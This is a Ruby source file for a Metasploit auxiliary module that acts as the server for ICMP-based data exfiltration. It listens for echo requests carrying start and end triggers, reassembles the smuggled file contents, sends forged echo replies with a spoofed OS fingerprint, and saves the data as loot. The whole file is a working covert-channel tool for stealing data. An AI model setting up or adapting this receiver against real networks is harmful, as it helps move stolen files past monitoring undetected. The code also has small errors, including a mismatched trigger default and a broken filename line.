## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Capture include Msf::Auxiliary::Report def initialize super( 'Name' => 'ICMP Exfiltration Service', 'Description' => %q{ This module is designed to provide a server-side component to receive and store files exfiltrated over ICMP echo request packets. To use this module you will need to send an initial ICMP echo request containing the specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or a random filename can be assisnged). All data received from this source will automatically be added to the receive buffer until an ICMP echo request containing a specific end trigger (defaults to 'EOL') is received. }, 'Author' => 'Chris John Riley', 'License' => MSF_LICENSE, 'References' => [ # packetfu ['URL','http://code.google.com/p/packetfu/'] ] ) register_options([ OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']), OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']), OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']), OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']), OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']), OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']), OptString.new('INTERFACE', [false, 'The name of the interface']), OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true]) ], self.class) register_advanced_options([ OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]), OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]), OptAddress.new('LOCALIP', [false, 'The IP address of the local interface']) ], self.class) deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT') end def run begin #Check Pcaprub is up to date if not netifaces_implemented? print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available") netifaces = false else netifaces = true end @interface = datastore['INTERFACE'] || Pcap.lookupdev #This is needed on windows cause we send interface directly to Pcap functions @interface = get_interface_guid(@interface) @iface_ip = datastore['LOCALIP'] @iface_ip ||= Pcap.lookupaddrs(@interface)[0] if netifaces raise "Interface IP is not defined and can not be guessed" unless @iface_ip # start with blank slate @record = false @record_data = '' if datastore['PROMISC'] print_status("Warning: Promiscuous mode enabled. This may cause issues!") end # start icmp listener process - loop icmplistener ensure storefile print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})") end end def icmplistener # start icmp listener print_status("ICMP Listener started on #{@interface} (#{@iface_ip}). Monitoring for trigger packet containing #{datastore['START_TRIGGER']}") if datastore['FNAME_IN_PACKET'] print_status("Filename expected in initial packet, directly following trigger (e.g. #{datastore['START_TRIGGER']}filename.ext)") end cap = PacketFu::Capture.new( :iface => @interface, :start => true, :filter => datastore['BPF_FILTER'], :promisc => datastore['PROMISC'] ) loop { cap.stream.each do | pkt | packet = PacketFu::Packet.parse(pkt) data = packet.payload[4..-1] if packet.is_icmp? and data =~ /#{datastore['START_TRIGGER']}/ # start of new file detected vprint_status("#{Time.now}: ICMP (type %d code %d) SRC:%s DST:%s" % [packet.icmp_type, packet.icmp_code, packet.ip_saddr, packet.ip_daddr]) # detect and warn if system is responding to ICMP echo requests # suggested fixes: # -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # -(Windows) netsh firewall set icmpsetting 8 disable # -(Windows) netsh firewall set opmode mode = ENABLE if packet.icmp_type == 0 and packet.icmp_code == 0 and packet.ip_saddr == @iface_ip raise RuntimeError , "Dectected ICMP echo response. Disable OS ICMP handling!" end if @record print_error("New file started without saving old data") storefile end # begin recording stream @record = true @record_host = packet.ip_saddr @record_data = '' # set filename in packet or set random value if datastore['FNAME_IN_PACKET'] @filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip # set filename from icmp payload else @filename = "icmp_exfil_" + ::Time.now.to_i # set random filename end print_good("Beginning capture of \"#{@filename}\" data") # create response packet icmp_pkt icmp_response, contents = icmp_packet(packet, datastore['RESP_START']) if not icmp_response raise RuntimeError ,"Could not build ICMP response" else # send response packet icmp_pkt send_icmp(icmp_response, contents) end elsif packet.is_icmp? and @record and @record_host == packet.ip_saddr # check for EOF marker, if not continue recording data if data =~ /#{datastore['END_TRIGGER']}/ # end of file marker found print_status("#{@record_data.length} bytes of data recevied in total") print_good("End of File received. Saving \"#{@filename}\" to loot") storefile # create response packet icmp_pkt icmp_response, contents = icmp_packet(packet, datastore['RESP_END']) if not icmp_response raise RuntimeError , "Could not build ICMP response" else # send response packet icmp_pkt send_icmp(icmp_response, contents) end # turn off recording and clear status @record = false @record_host = '' @record_data = '' else # add data to recording and continue @record_data << data.to_s() vprint_status("Received #{data.length} bytes of data from #{packet.ip_saddr}") # create response packet icmp_pkt icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT']) if not icmp_response raise RuntimeError , "Could not build ICMP response" else # send response packet icmp_pkt send_icmp(icmp_response, contents) end end end end } end def icmp_packet(packet, contents) # create icmp response @src_ip = packet.ip_daddr src_mac = packet.eth_daddr @dst_ip = packet.ip_saddr dst_mac = packet.eth_saddr icmp_id = packet.payload[0,2] icmp_seq = packet.payload[2,2] # create payload with matching id/seq resp_payload = icmp_id + icmp_seq + contents icmp_pkt = PacketFu::ICMPPacket.new(:flavor => datastore['CLOAK'].downcase) icmp_pkt.eth_saddr = src_mac icmp_pkt.eth_daddr = dst_mac icmp_pkt.icmp_type = 0 icmp_pkt.icmp_code = 0 icmp_pkt.payload = resp_payload icmp_pkt.ip_saddr = @src_ip icmp_pkt.ip_daddr = @dst_ip icmp_pkt.recalc icmp_response = icmp_pkt return icmp_response, contents end def send_icmp(icmp_response, contents) # send icmp response on selected interface icmp_response.to_w(iface = @interface) vprint_good("Response sent to #{@dst_ip} containing response trigger : \"#{contents}\"") end def storefile # store the file in loot if data is present if @record_data and not @record_data.empty? loot = store_loot( "icmp_exfil", "text/xml", @src_ip, @record_data, @filename, "ICMP Exfiltrated Data" ) print_good("Incoming file \"#{@filename}\" saved to loot") print_good("Loot filename: #{loot}") end end end